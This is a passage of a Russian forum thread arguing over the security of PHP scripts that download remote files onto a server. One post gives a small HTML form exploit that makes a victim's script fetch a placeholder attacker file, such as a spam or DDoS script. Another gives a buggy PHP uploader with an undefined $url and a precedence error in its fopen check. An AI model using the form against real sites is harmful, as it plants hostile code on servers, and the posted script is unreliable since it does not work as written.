Вопрос по upload в php

mustafa
На сайте с 28.10.2005
Offline
202
#71
Зингельшухер:
Речь не о помощи, речь о том что если не можеш помочь то не пытайся, лучше не помогать человеку чем навредить,

ох, них себе! я еще и навредил оказывается?

Зингельшухер:
а вариант с file_put_contents это реальный троян и уж лучше вообще никак чем так...

да чем троян-то? 🤣 🤣 🤣 🤣 🤣 опять пустомелишь? Единственный минус моего примера - не будет жрать большие файлы. Все. А то, что я не стал писать функции проверки, так это кому надо сам допишет. А ты их написал - и написал ошибочно, троянисто, глюково, багисто.

[Удален]
#72

mustafa, этот орел тут до сих пор тусуется (правда две его реанкарнации забанили, эта третья - Deni :))

[Удален]
#73

mustafa, Я читал эту тему, (не знаю кто виноват разработчик что выбрал phtml либо хостер что не поставил правильно РНР), но к хешам это не имеет никакого отношения, был бы там md5 точно также всё бы было он брутфорсится спокойно. (а в некоторых продуктах этого даже не надо делать)

mustafa:
А то, что я не стал писать функции проверки, так это кому надо сам допишет.

человек который не знает что такое fopen не допишет, и как результат его ломанут, остальные правокации оставь если нет фактов, я в отличии от вас реагирую на факты и игнорирую пустозвонство.

Коля Дубр
На сайте с 02.03.2005
Offline
153
#74

Зингельшухер, mustafa, раз уж не поленились накодить примеры, предлагаю быстренько сообразить и выложить exploit к примеру оппонента, дабы не быть голословными в обвинениях типа "безопасность на нуле". Иначе это называется фаллометрией =)

Разрабатываю общую шину (http://habrahabr.ru/company/floxim/blog/268467/) помаленьку. ...а еще у меня есть бложек (http://www.blogovo.ru/).
sun
На сайте с 22.10.2005
Offline
81
sun
#75

mustafa, придумал новое определение троянистоглюковобагисто :)

devmen.com (http://devmen.com/)
[Удален]
#76
Коля Дубр:
выложить exploit к примеру оппонента

<form action="http://путь_к_скрипту" method="post">

<input type="text" name="url" value="http://путь_к_файлу_хакера">
<input type="submit" value="Submit">
</form>

(путь_к_файлу_хакера это может быть спамилка, скрипт ддос-атаки итд, написана может быть на РНР или Перл как удобнее хакеру, думаю их код приводить не нужно)

dkameleon
На сайте с 09.12.2005
Offline
386
#77
Коля Дубр:
предлагаю быстренько сообразить и выложить exploit к примеру оппонента, дабы не быть голословными в обвинениях типа "безопасность на нуле"

Что понимать под эксплоитом в данном случае?

В обеих случаях на сервер можно залить произвольный файл, в том числе и скрипт.

Дизайн интерьера (http://balabukha.com/)
[Удален]
#78

Кстати кому нужен улучшеный вариант выкладываю.

(специально для mustafa сделал MD5 кодирование пароля)

также пофиксил пару маленьких неопасных багов и сделал шаблонизацию "а-ля-ламерс-едишн"

<?php
/*********************************************************************
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation.
********************************************************************/

/*********************************************************************
* Settings.
********************************************************************/
$passhash = 'e10adc3949ba59abbe56e057f20f883e';

/*********************************************************************
* Main code.
********************************************************************/
error_reporting(0);
if ($_SERVER["REQUEST_METHOD"] === 'GET') {
template_mainform();
exit;
} elseif ($_SERVER["REQUEST_METHOD"] === 'POST') {
$pass = get_magic_quotes_gpc() ? stripslashes($_POST['pass']) : $_POST['pass'];
if (md5($pass) !== $passhash) {
template_error('Wrong password!');
exit;
} else {
@set_time_limit(86400);
$pass = get_magic_quotes_gpc() ? stripslashes($_POST['url']) : $_POST['url'];
$filename = basename($url);
if ($filename !== basename(__FILE__)) {
if ($fr = @fopen($url, "rb") && $fp = @fopen($filename, "wb")) {
while (!feof($fr)) {
fputs($fp, fread($fr, 2048));
}
fclose($fp);
fclose($fr);
template_complited($filename);
exit;
}
}
template_error('File not found, or another error!');
exit;
}
}

/*********************************************************************
* Templates.
********************************************************************/
function template_mainform() {
?><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html><head><title>File Upload</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<style type="text/css"><!--
form { width:100%; text-align: center }
fieldset { width:240px; margin: auto }
p { text-align: left; font-weight: bold }
input { width:100% }
--></style>
</head><body>
<form action="<?=basename(__FILE__)?>" method="post">
<fieldset>
<legend>File Upload Form</legend>
<p><label>Enter url:</label><br>
<input type="text" name="url" value="http://"></p>
<p><label>Enter password:</label><br>
<input type="password" name="pass" value=""></p>
<p><input type="submit" value="Submit"></p>
</fieldset>
</form>
</body></html><?php
}
/********************************************************************/
function template_complited($filename) {
?><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html><head><title>File Upload</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<style type="text/css"><!--
p { text-align:center; font-weight: bold }
--></style>
</head><body>
<p>Ready, your file is here <a href="<?=$filename?>"><?=$filename?></a></p>
</body></html><?php
}
/********************************************************************/
function template_error($string) {
?><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html><head><title>File Upload</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<style type="text/css"><!--
p { text-align:center; font-weight: bold }
--></style>
</head><body>
<p><?=$string?></p>
</body></html><?php
}
/********************************************************************/
?>
[Удален]
#79
dkameleon:
В обеих случаях на сервер можно залить произвольный файл, в том числе и скрипт.

В моём случае сплойт это не только тот что передаёт скрипту данные, но и обходит ввод пароля...

verhmax
На сайте с 01.12.2005
Offline
191
#80

Зингельшухер, данная версия не пашет уже на платном хостинге. тоесть закачивает пустой файл

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий